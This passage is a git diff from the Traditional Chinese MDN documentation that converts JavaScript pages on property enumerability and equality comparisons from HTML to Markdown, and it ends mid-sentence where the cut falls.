teapot. +- {{HTTPStatus(421, "421 Misdirected Request")}} + - : The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI. +- {{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}}) + - : 請求格式正確,但有部分語意上的錯誤而無法執行請求。 +- {{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}}) + - : 被訪問的資源被鎖定。 +- {{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}}) + - : 由於先前的請求失敗導致此請求失敗。 +- {{HTTPStatus(426, "426 Upgrade Required")}} + - : The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s). +- {{HTTPStatus(428, "428 Precondition Required")}} + - : The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict. +- {{HTTPStatus(429, "429 Too Many Requests")}} + - : 用戶在給定的時間內 ("rate limiting") 發送了過多的請求。 +- {{HTTPStatus(431, "431 Request Header Fields Too Large")}} + - : 伺服器不願意處理該請求,因為標頭欄位過大。該請求可能可以在減少請求標頭欄位大小後重新提交。 +- {{HTTPStatus(451, "451 Unavailable For Legal Reasons")}} + - : 用戶端請求違法的資源,例如受政府審查的網頁。 + +## 伺服器端錯誤回應 + +- {{HTTPStatus(500, "500 Internal Server Error")}} + - : 伺服器端發生未知或無法處理的錯誤。 +- {{HTTPStatus(501, "501 Not Implemented")}} + - : 伺服器不支援請求的方法,僅有`GET`與`HEAD`是伺服器必須支援的方法。 +- {{HTTPStatus(502, "502 Bad Gateway")}} + - : 作為閘道的伺服器,在獲取處理請求所需的回應時,得到無效回應。 +- {{HTTPStatus(503, "503 Service Unavailable")}} + - : The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the `Retry-After:` HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached. +- {{HTTPStatus(504, "504 Gateway Timeout")}} + - : 伺服器作為閘道器時無法及時得到回應。 +- {{HTTPStatus(505, "505 HTTP Version Not Supported")}} + - : 請求使用的 HTTP 版本不被伺服器支援。 +- {{HTTPStatus(506, "506 Variant Also Negotiates")}} + - : The server has an internal configuration error: transparent content negotiation for the request results in a circular reference. +- {{HTTPStatus(507, "507 Insufficient Storage")}} + - : The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process. +- {{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}}) + - : 伺服器處理請求時偵測到無限迴圈。 +- {{HTTPStatus(510, "510 Not Extended")}} + - : 伺服器需要對請求做進一步的擴充才能完成請求。 +- {{HTTPStatus(511, "511 Network Authentication Required")}} + - : 用戶需要經過認證才能取得網路存取權。 + +## 瀏覽器相容性 + +{{Compat("http.status")}} + +## 參見 + +- [List of HTTP status codes on Wikipedia](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes) +- [IANA official registry of HTTP status codes](http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml) +- [HTTP Status Codes Cheat Sheet](https://www.exai.com/blog/http-status-codes-cheat-sheet) +- [A Complete Guide and List of HTTP Status Codes](https://kinsta.com/blog/http-status-codes/) +- [httpstatus – 檢查網址重定向路徑、請求標頭與 HTTP 狀態代碼](https://techmoon.xyz/httpstatus/) diff --git a/files/zh-tw/web/javascript/closures/index.md b/files/zh-tw/web/javascript/closures/index.md index 5f56127ef58ce7..024f30a5174be4 100644 --- a/files/zh-tw/web/javascript/closures/index.md +++ b/files/zh-tw/web/javascript/closures/index.md @@ -171,7 +171,7 @@ console.log(counter.value()); // logs 1 這三個公有函式,皆為共享同一個環境的閉包。由於 JavaScript 的語法作用域,它們都能訪問 `privateCounter` 變數與 `changeBy` 函式。 -> **備註:**你應該也發現到我們定義了建立 counter 的匿名函式、而我們接著呼叫它,並給`counter` 變數指派了回傳值。我們也能在分離的變數 `makeCounter` 儲存函式並用其建立數個 counter。 +> **備註:** 你應該也發現到我們定義了建立 counter 的匿名函式、而我們接著呼叫它,並給`counter` 變數指派了回傳值。我們也能在分離的變數 `makeCounter` 儲存函式並用其建立數個 counter。 ```js var makeCounter = function() { @@ -205,7 +205,7 @@ alert(counter2.value()); /* Alerts 0 */ 請注意 `counter1` 與 `counter2` 這兩個計數器是如何維護其獨立性的。每個閉包都以各自的閉包,在參照不同版本的 `privateCounter` 變數。每當呼叫其中一個計數器時,它會透過該變數的數值變更,改變語法作用域的環境。不過,在其中一個閉包的變數值改時,其他閉包的數值並不會受到影響。 -> **備註:**使用這種方法的閉包,提供了一些與物件導向程式設計的益處,尤其是資料隱藏與封裝。 +> **備註:** 使用這種方法的閉包,提供了一些與物件導向程式設計的益處,尤其是資料隱藏與封裝。 ## 在迴圈建立閉包:一個常見錯誤 diff --git a/files/zh-tw/web/javascript/data_structures/index.md b/files/zh-tw/web/javascript/data_structures/index.md index 52406c8d4c316e..24c56a7209ec6f 100644 --- a/files/zh-tw/web/javascript/data_structures/index.md +++ b/files/zh-tw/web/javascript/data_structures/index.md @@ -129,7 +129,7 @@ Associates a key with one or two accessor functions (get and set) to retrieve or | [[Enumerable]] | Boolean | If `true`, the property will be enumerated in [for...in](/en-US/docs/Web/JavaScript/Reference/Statements/for...in) loops. | false | | [[Configurable]] | Boolean | If `false`, the property can't be deleted and can't be changed to a data property. | false | -> **備註:**Attribute is usually used by JavaScript engine, so you can't directly access it(see more about [Object.defineProperty()](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)).That's why the attribute is put in double square brackets instead of single. +> **備註:** Attribute is usually used by JavaScript engine, so you can't directly access it(see more about [Object.defineProperty()](/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty)).That's why the attribute is put in double square brackets instead of single. ### "Normal" objects, and functions diff --git a/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html b/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html deleted file mode 100644 index 3748a2425506f7..00000000000000 --- a/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.html +++ /dev/null @@ -1,259 +0,0 @@ ---- -title: 屬性的可列舉性及所有權 -slug: Web/JavaScript/Enumerability_and_ownership_of_properties -translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties ---- -
{{JsSidebar("More")}}
- -

Enumerable properties are those properties whose internal [[Enumerable]] flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via Object.defineProperty and such default [[Enumerable]] to false). Enumerable properties show up in for...in loops unless the property's name is a Symbol. Ownership of properties is determined by whether the property belongs to the object directly and not to its prototype chain. Properties of an object can also be retrieved in total. There are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing which are available. Some sample code follows which demonstrates how to obtain the missing categories.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Property enumerability and ownership - built-in methods of detection, retrieval, and iteration
FunctionalityOwn objectOwn object and its prototype chainPrototype chain only
Detection - - - - - - - - - - - - - - - -
EnumerableNonenumerableEnumerable and Nonenumerable
propertyIsEnumerablehasOwnProperty and not propertyIsEnumerablehasOwnProperty
-
Not available without extra codeNot available without extra code
Retrieval - - - - - - - - - - - - - - - -
EnumerableNonenumerableEnumerable and Nonenumerable
Object.keysgetOwnPropertyNames filtered to include properties when not passing propertyIsEnumerablegetOwnPropertyNames
-
Not available without extra codeNot available without extra code
Iteration - - - - - - - - - - - - - - - -
EnumerableNonenumerableEnumerable and Nonenumerable
Iterate over Object.keysIterate over getOwnPropertyNames filtered to include properties when not passing propertyIsEnumerableIterate over getOwnPropertyNames
-
- - - - - - - - - - - - - - - -
EnumerableNonenumerableEnumerable and Nonenumerable
for..inNot available without extra codeNot available without extra code
-
Not available without extra code
- -

Obtaining properties by enumerability/ownership

- -

Note that this is not the most efficient algorithm for all cases, but useful for a quick demonstration.

- -
    -
  • Detection can occur by SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) > -1
  • -
  • Iteration can occur by SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {}); (or use filter(), map(), etc.)
  • -
- -
var SimplePropertyRetriever = {
-    getOwnEnumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._enumerable);
-         // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj);
-    },
-    getOwnNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._notEnumerable);
-    },
-    getOwnEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable);
-        // Or just use: return Object.getOwnPropertyNames(obj);
-    },
-    getPrototypeEnumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._enumerable);
-    },
-    getPrototypeNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._notEnumerable);
-    },
-    getPrototypeEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable);
-    },
-    getOwnAndPrototypeEnumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._enumerable);
-        // Or could use unfiltered for..in
-    },
-    getOwnAndPrototypeNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._notEnumerable);
-    },
-    getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) {
-        return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable);
-    },
-    // Private static property checker callbacks
-    _enumerable : function (obj, prop) {
-        return obj.propertyIsEnumerable(prop);
-    },
-    _notEnumerable : function (obj, prop) {
-        return !obj.propertyIsEnumerable(prop);
-    },
-    _enumerableAndNotEnumerable : function (obj, prop) {
-        return true;
-    },
-    // Inspired by http://stackoverflow.com/a/8024294/271577
-    _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) {
-        var props = [];
-
-        do {
-            if (iterateSelfBool) {
-                Object.getOwnPropertyNames(obj).forEach(function (prop) {
-                    if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) {
-                        props.push(prop);
-                    }
-                });
-            }
-            if (!iteratePrototypeBool) {
-                break;
-            }
-            iterateSelfBool = true;
-        } while (obj = Object.getPrototypeOf(obj));
-
-        return props;
-    }
-};
- -

Detection Table

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
infor..inhasOwnPropertypropertyIsEnumerablein Object.keysin Object.getOwnPropertyNamesin Object.getOwnPropertyDescriptors
Enumerabletruetruetruetruetruetruetrue
Nonenumerabletruefalsetruefalsefalsetruetrue
Inherited Enumerabletruetruefalsefalsefalsefalsefalse
Inherited Nonenumerabletruefalsefalsefalsefalsefalsefalse
Account for Symbols keystruefalsetruetruefalsefalsetrue
- -

參見

- - diff --git a/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.md b/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.md new file mode 100644 index 00000000000000..77903c9b4c575c --- /dev/null +++ b/files/zh-tw/web/javascript/enumerability_and_ownership_of_properties/index.md @@ -0,0 +1,294 @@ +--- +title: 屬性的可列舉性及所有權 +slug: Web/JavaScript/Enumerability_and_ownership_of_properties +translation_of: Web/JavaScript/Enumerability_and_ownership_of_properties +--- +{{JsSidebar("More")}} + +Enumerable properties are those properties whose internal \[\[Enumerable]] flag is set to true, which is the default for properties created via simple assignment or via a property initializer (properties defined via [Object.defineProperty](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) and such default \[\[Enumerable]] to false). Enumerable properties show up in [for...in](/zh-TW/docs/Web/JavaScript/Reference/Statements/for...in) loops unless the property's name is a [Symbol](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Symbol). Ownership of properties is determined by whether the property belongs to the object directly and not to its prototype chain. Properties of an object can also be retrieved in total. There are a number of built-in means of detecting, iterating/enumerating, and retrieving object properties, with the chart showing which are available. Some sample code follows which demonstrates how to obtain the missing categories. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Property enumerability and ownership - built-in methods of detection, + retrieval, and iteration +
FunctionalityOwn objectOwn object and its prototype chainPrototype chain only
Detection + + + + + + + + + + + + + + + +
EnumerableNonenumerableEnumerable and Nonenumerable
+ propertyIsEnumerable + + hasOwnProperty + and not + propertyIsEnumerable + + hasOwnProperty +
+
Not available without extra codeNot available without extra code
Retrieval + + + + + + + + + + + + + + + +
EnumerableNonenumerableEnumerable and Nonenumerable
+ Object.keys + + getOwnPropertyNames + filtered to include properties when not passing + propertyIsEnumerable + + getOwnPropertyNames +
+
Not available without extra codeNot available without extra code
Iteration + + + + + + + + + + + + + + + +
EnumerableNonenumerableEnumerable and Nonenumerable
+ Iterate over + Object.keys + + Iterate over + getOwnPropertyNames filtered to include properties when not passing + propertyIsEnumerable + + Iterate over + getOwnPropertyNames +
+
+ + + + + + + + + + + + + + + +
EnumerableNonenumerableEnumerable and Nonenumerable
+ for..in + Not available without extra codeNot available without extra code
+
Not available without extra code
+ +## Obtaining properties by enumerability/ownership + +Note that this is not the most efficient algorithm for all cases, but useful for a quick demonstration. + +- Detection can occur by `SimplePropertyRetriever.theGetMethodYouWant(obj).indexOf(prop) > -1` +- Iteration can occur by `SimplePropertyRetriever.theGetMethodYouWant(obj).forEach(function (value, prop) {});` (or use` filter()`, `map()`, etc.) + +```js +var SimplePropertyRetriever = { + getOwnEnumerables: function (obj) { + return this._getPropertyNames(obj, true, false, this._enumerable); + // Or could use for..in filtered with hasOwnProperty or just this: return Object.keys(obj); + }, + getOwnNonenumerables: function (obj) { + return this._getPropertyNames(obj, true, false, this._notEnumerable); + }, + getOwnEnumerablesAndNonenumerables: function (obj) { + return this._getPropertyNames(obj, true, false, this._enumerableAndNotEnumerable); + // Or just use: return Object.getOwnPropertyNames(obj); + }, + getPrototypeEnumerables: function (obj) { + return this._getPropertyNames(obj, false, true, this._enumerable); + }, + getPrototypeNonenumerables: function (obj) { + return this._getPropertyNames(obj, false, true, this._notEnumerable); + }, + getPrototypeEnumerablesAndNonenumerables: function (obj) { + return this._getPropertyNames(obj, false, true, this._enumerableAndNotEnumerable); + }, + getOwnAndPrototypeEnumerables: function (obj) { + return this._getPropertyNames(obj, true, true, this._enumerable); + // Or could use unfiltered for..in + }, + getOwnAndPrototypeNonenumerables: function (obj) { + return this._getPropertyNames(obj, true, true, this._notEnumerable); + }, + getOwnAndPrototypeEnumerablesAndNonenumerables: function (obj) { + return this._getPropertyNames(obj, true, true, this._enumerableAndNotEnumerable); + }, + // Private static property checker callbacks + _enumerable : function (obj, prop) { + return obj.propertyIsEnumerable(prop); + }, + _notEnumerable : function (obj, prop) { + return !obj.propertyIsEnumerable(prop); + }, + _enumerableAndNotEnumerable : function (obj, prop) { + return true; + }, + // Inspired by http://stackoverflow.com/a/8024294/271577 + _getPropertyNames : function getAllPropertyNames(obj, iterateSelfBool, iteratePrototypeBool, includePropCb) { + var props = []; + + do { + if (iterateSelfBool) { + Object.getOwnPropertyNames(obj).forEach(function (prop) { + if (props.indexOf(prop) === -1 && includePropCb(obj, prop)) { + props.push(prop); + } + }); + } + if (!iteratePrototypeBool) { + break; + } + iterateSelfBool = true; + } while (obj = Object.getPrototypeOf(obj)); + + return props; + } +}; +``` + +## Detection Table + +| | `in` | `for..in` | `hasOwnProperty` | `propertyIsEnumerable` | `in Object.keys` | `in Object.getOwnPropertyNames` | in Object.getOwnPropertyDescriptors | +| ------------------------ | ---- | --------- | ---------------- | ---------------------- | ---------------- | ------------------------------- | ----------------------------------- | +| Enumerable | true | true | true | true | true | true | true | +| Nonenumerable | true | false | true | false | false | true | true | +| Inherited Enumerable | true | true | false | false | false | false | false | +| Inherited Nonenumerable | true | false | false | false | false | false | false | +| Account for Symbols keys | true | false | true | true | false | false | true | + +## 參見 + +- [`in`](/en-US/docs/JavaScript/Reference/Operators/in) +- [`for..in`](/en-US/docs/JavaScript/Reference/Statements/for...in) +- [`hasOwnProperty`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) +- [`propertyIsEnumerable`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable) +- [`getOwnPropertyNames`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) +- [`Object.keys`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/keys) +- [`Object.getOwnPropertyDescriptors`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors) diff --git a/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html b/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html deleted file mode 100644 index 1bf19efc849973..00000000000000 --- a/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.html +++ /dev/null @@ -1,419 +0,0 @@ ---- -title: 相等比較 -slug: Web/JavaScript/Equality_comparisons_and_sameness -translation_of: Web/JavaScript/Equality_comparisons_and_sameness ---- -
{{jsSidebar("Intermediate")}}
- -

在 ES2015,有四個相等比較方法:

- -
    -
  • 一般相等 (==)
  • -
  • 嚴格相等 (===):被用於 Array.prototype.indexOfArray.prototype.lastIndexOf case-matching
  • -
  • 零值相等:被用於 %TypedArray%ArrayBuffer 建構子,以及 MapSet 運算子,還有將在 ES2016 新增的 String.prototype.includes。
  • -
  • 同值相等: 用在除上面提及的所有情況。
  • -
- -

JavaScript 提供三種不同的值比較運算操作:

- -
    -
  • 嚴格相等 (或稱 "三等於"、"全等") 使用 ===
  • -
  • 一般相等 ("雙等於") 使用 ==
  • -
  • 還有 Object.is (ECMAScript 2015 新加入)
  • -
- -

要用哪個操作取決於你要哪種類型的比較。

- -

簡單來說,一般相等會將型別一致化後比較;嚴格相等則不會(也就是說若型別不同,就會回傳 fasle);Object.is 會和嚴格相等做同樣的事,但會將 NaN-0 和 +0 獨立處理,因此這三個不會相等,而 Object.is(NaN, NaN) 則會回傳 true 。(用一般相等或嚴格相等比較兩個 NaN 時會回傳 false ,因為 IEEE 754 如此規範。) 切記,這三種判斷必須考慮原型,因為他們在設計上不被考慮為相等。對於任何非原型物件 x、y,即使他們有著相同結構,但如果是不同物件,比較就會是 false。

- -

嚴格相等(===

- -

嚴格相等比較兩個值,而被比較的兩個值都不會轉換成其他型別。如果值是不同型別,就會被視為不相等。如果兩值型別相同但不是數字,若值相同,則為相等。此外,如果兩個值皆為數字,只要他們是 NaN 以外的同一值,或者 +0 和 -0,則為相等。

- -
var num = 0;
-var obj = new String("0");
-var str = "0";
-
-console.log(num === num); // true
-console.log(obj === obj); // true
-console.log(str === str); // true
-
-console.log(num === obj); // false
-console.log(num === str); // false
-console.log(obj === str); // false
-console.log(null === undefined); // false
-console.log(obj === null); // false
-console.log(obj === undefined); // false
-
- -

嚴格比較適合在絕大多數情況下使用。對於所有非數字的值,嚴格比較就如字面:一個值只相等於自己。而數字則使用稍微不同的方式:第一種情況是浮點數 0 同時為正和負,在解決某些數學問題時,+0-0 是不同的,但在大部分情況下我們不需要考慮這種情境,因此嚴格比較將他們視為相同的。第二種情況是非數字,NaN,用來表示某些定義不明確的數學問題的解, 例如:負無窮加正無窮,嚴格比較認為 NaN 不等於任何值,包含他本身。((x !== x)只有在 xNaN 時會是 true。)

- -

一般相等(==)

- -

一般相等會先將比較值轉換成同型別後比較。轉換後(可能一個或兩個都被轉換),接著進行的幾乎和嚴格比較(===)一樣。 一般相等會對稱A == B 等同 B == A ,無論 AB 是什麼。(除了型別轉換的順序)

- -

不同型別的一般相等運作如下表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
比較值 B
UndefinedNullNumberStringBooleanObject
比較值 AUndefinedtruetruefalsefalsefalsefalse
Nulltruetruefalsefalsefalsefalse
NumberfalsefalseA === BA === ToNumber(B)A === ToNumber(B)A == ToPrimitive(B)
StringfalsefalseToNumber(A) === BA === BToNumber(A) === ToNumber(B)A == ToPrimitive(B)
BooleanfalsefalseToNumber(A) === BToNumber(A) === ToNumber(B)A === BToNumber(A) == ToPrimitive(B)
ObjectfalsefalseToPrimitive(A) == BToPrimitive(A) == BToPrimitive(A) == ToNumber(B)A === B
- -

根據上表, ToNumber(A) 嘗試在比較前轉換成一個數字。 這等同 +A (單 + 運算子)。ToPrimitive(A) 嘗試從物件轉換成原生值,透過嘗試對 A 使用 A.toStringA.valueOf 方法。

- -

一般來說,根據 ECMAScript 規範,所有物件應該不等於 undefinednull。但大多數瀏覽器允許很小部分的物件(尤其是所有頁面的 document.all 物件)在某些情況下當成 undefined。一般相等是其中一種:當 A 是個被模擬undefined 的物件null == Aundefined == A 會是 true。而在其他情況下物件不會等同於 undefinednull。

- -
var num = 0;
-var obj = new String("0");
-var str = "0";
-
-console.log(num == num); // true
-console.log(obj == obj); // true
-console.log(str == str); // true
-
-console.log(num == obj); // true
-console.log(num == str); // true
-console.log(obj == str); // true
-console.log(null == undefined); // true
-
-// 除了少數情況,這兩個應該是 false。
-console.log(obj == null);
-console.log(obj == undefined);
-
- -

部分開發者認為最好別用一般相等。嚴格比較更容易預測,且因為不必轉型,因此效率更好。

- -

同值相等

- -

同值相等解決了最後一個情況:比較兩個值是否功能相同 。(這裡用了 Liskov 替換原則(英) 為例)當試圖修改一個不可變的屬性:

- -
// 新增一個不可變 NEGATIVE_ZERO 屬性到 Number 原型。
-Object.defineProperty(Number, "NEGATIVE_ZERO",
-                      { value: -0, writable: false, configurable: false, enumerable: false });
-
-function attemptMutation(v)
-{
-  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
-}
-
- -

當修改一個不可變屬性時, Object.defineProperty 會出現例外,但若沒有真的要求修改,就沒事。如果 v-0,就不會有修改,也就不會有錯誤出現。但若 v+0Number.NEGATIVE_ZERO 不再擁有自己的不可變屬性。在內部,當一個不可變屬性被重新定義,新的值會用同值相等和原值比較。

- -

Object.is 方法提供同值相等比較。

- -

零值相等

- -

和同值相等一樣,但將 +0-0 視為相同。

- -

一般相等、嚴格相等和同值相等的規範

- -

在 ES5,一般相等 ==Section 11.9.3, The Abstract Equality Algorithm 中規範。嚴格相等 ===11.9.6, The Strict Equality Algorithm。(可以看看,這很簡短且可讀。註:先讀嚴格相等。)ES5 也在 Section 9.12, The SameValue Algorithm 規範 JS 引擎的行為。他幾乎和嚴格相等一樣,除了 11.9.6.4 和 9.12.4 在處理 Number 時的不同。ES2015 簡短的提出了 Object.is

- -

我們可以發現在 11.9.6.1 中,除了 11.9.6.1 規範型別檢查,嚴格相等規範是從屬於一般相等規範,因為 11.9.6.2–7 和 11.9.3.1.a–f相應。

- -

理解相等比較模型

- -

ES2015 以後,你或許會將雙等於和三等於解讀成是彼此的「加強版」。比如,有人或許會說雙等於是三等於的延伸版本,因為前者做的事情和後者事情一模一樣,只差在運算元的型別轉換。舉例來說,6 == "6" (又或者說,有人可能會講說雙等於是基底,而三等於是加強版,因為它要求兩個運算元是同型別,所以它多了一個限制。至於哪個是較好的理解模型,取決於你的觀點。

- -

儘管如此,這個思考內建相同運算子的方法,並非是延伸 ES2015 中的 Object.is 方法。 Object.is 不是單純地比雙等號「更寬鬆」或比三等號「更嚴謹」,也不適合將其放在兩者之間(即,比雙等號嚴謹,但較三等號寬鬆)。我們可以從下方的比較表格看到,一切是起源於 Object.is 可以處理 NaN 的比較運算。要注意的是,如果 Object.is(NaN, NaN) 的運算結果是 false ,我們就可以因為它區分 -0+0 的結果,使用寬鬆和嚴謹的範疇來界定它是比三等號更嚴謹的那一區段。然而,區別 NaN 的方式並不確實。Unfortunately, Object.is simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sameness Comparisons
xy=====Object.is
undefinedundefinedtruetruetrue
nullnulltruetruetrue
truetruetruetruetrue
falsefalsetruetruetrue
"foo""foo"truetruetrue
{ foo: "bar" }xtruetruetrue
00truetruetrue
+0-0truetruefalse
0falsetruefalsefalse
""falsetruefalsefalse
""0truefalsefalse
"0"0truefalsefalse
"17"17truefalsefalse
[1,2]"1,2"truefalsefalse
new String("foo")"foo"truefalsefalse
nullundefinedtruefalsefalse
nullfalsefalsefalsefalse
undefinedfalsefalsefalsefalse
{ foo: "bar" }{ foo: "bar" }falsefalsefalse
new String("foo")new String("foo")falsefalsefalse
0nullfalsefalsefalse
0NaNfalsefalsefalse
"foo"NaNfalsefalsefalse
NaNNaNfalsefalsetrue
- -

When to use Object.is versus triple equals

- -

Aside from the way it treats NaN, generally, the only time Object.is's special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors when it is desirable for your work to mirror some of the characteristics of Object.defineProperty. If your use case does not require this, it is suggested to avoid Object.is and use === instead. Even if your requirements involve having comparisons between two NaN values evaluate to true, generally it is easier to special-case the NaN checks (using the isNaN method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.

- -

Here's an in-exhaustive list of built-in methods and operators that might cause a distinction between -0 and +0 to manifest itself in your code:

- -
-
- (unary negation)
-
-

It's obvious that negating 0 produces -0. But the abstraction of an expression can cause -0 to creep in when you don't realize it. For example, consider:

- -
let stoppingForce = obj.mass * -obj.velocity
- -

If obj.velocity is 0 (or computes to 0), a -0 is introduced at that place and propogates out into stoppingForce.

-
-
- Math.atan2, - Math.ceil, - Math.pow, - Math.round -
-
It's possible for a -0 to be introduced into an expression as a return value of these methods in some cases, even when no -0 exists as one of the parameters. E.g., using Math.pow to raise -Infinity to the power of any negative, odd exponent evaluates to -0. Refer to the documentation for the individual methods.
-
- Math.floor, - Math.max, - Math.min, - Math.sin, - Math.sqrt, - Math.tan -
-
It's possible to get a -0 return value out of these methods in some cases where a -0 exists as one of the parameters. E.g., Math.min(-0, +0) evalutes to -0. Refer to the documentation for the individual methods.
-
- ~, - <<, - >> -
-
Each of these operators uses the ToInt32 algorithm internally. Since there is only one representation for 0 in the internal 32-bit integer type, -0 will not survive a round trip after an inverse operation. E.g., both Object.is(~~(-0), -0) and Object.is(-0 << 2 >> 2, -0) evaluate to false.
-
- -

Relying on Object.is when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between -0 and +0, it does exactly what's desired.

- -

See also

- - diff --git a/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.md b/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.md new file mode 100644 index 00000000000000..f050bd745ae4d2 --- /dev/null +++ b/files/zh-tw/web/javascript/equality_comparisons_and_sameness/index.md @@ -0,0 +1,246 @@ +--- +title: 相等比較 +slug: Web/JavaScript/Equality_comparisons_and_sameness +translation_of: Web/JavaScript/Equality_comparisons_and_sameness +--- +{{jsSidebar("Intermediate")}} + +在 ES2015,有四個相等比較方法: + +- 一般相等 (`==`) +- 嚴格相等 (`===`):被用於 `Array.prototype.indexOf`、 `Array.prototype.lastIndexOf `和 `case`-matching +- 零值相等:被用於 `%TypedArray%` 和 `ArrayBuffer` 建構子,以及 `Map` 和 `Set` 運算子,還有將在 ES2016 新增的 `String.prototype.includes。` +- 同值相等: 用在除上面提及的所有情況。 + +JavaScript 提供三種不同的值比較運算操作: + +- 嚴格相等 (或稱 "三等於"、"全等") 使用 [===](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity) +- 一般相等 ("雙等於") 使用 [==](/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality) +- 還有 [`Object.is`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/is) (ECMAScript 2015 新加入) + +要用哪個操作取決於你要哪種類型的比較。 + +簡單來說,一般相等會將型別一致化後比較;嚴格相等則不會(也就是說若型別不同,就會回傳 fasle);`Object.is` 會和嚴格相等做同樣的事,但會將 `NaN`、` -0 和 `` +0 `獨立處理,因此這三個不會相等,而 `Object.is(NaN, NaN)` 則會回傳 true 。(用一般相等或嚴格相等比較兩個 `NaN` 時會回傳 `false` ,因為 IEEE 754 如此規範。) 切記,這三種判斷必須考慮原型,因為他們在設計上不被考慮為相等。對於任何非原型物件 x、y,即使他們有著相同結構,但如果是不同物件,比較就會是 false。 + +## 嚴格相等(`===`) + +嚴格相等比較兩個值,而被比較的兩個值都不會轉換成其他型別。如果值是不同型別,就會被視為不相等。如果兩值型別相同但不是數字,若值相同,則為相等。此外,如果兩個值皆為數字,只要他們是 NaN 以外的同一值,或者 +0 和 -0,則為相等。 + +```js +var num = 0; +var obj = new String("0"); +var str = "0"; + +console.log(num === num); // true +console.log(obj === obj); // true +console.log(str === str); // true + +console.log(num === obj); // false +console.log(num === str); // false +console.log(obj === str); // false +console.log(null === undefined); // false +console.log(obj === null); // false +console.log(obj === undefined); // false +``` + +嚴格比較適合在絕大多數情況下使用。對於所有非數字的值,嚴格比較就如字面:一個值只相等於自己。而數字則使用稍微不同的方式:第一種情況是浮點數 0 同時為正和負,在解決某些數學問題時,`+0` 和 `-0 `是不同的,但在大部分情況下我們不需要考慮這種情境,因此嚴格比較將他們視為相同的。第二種情況是非數字,`NaN`,用來表示某些定義不明確的數學問題的解, 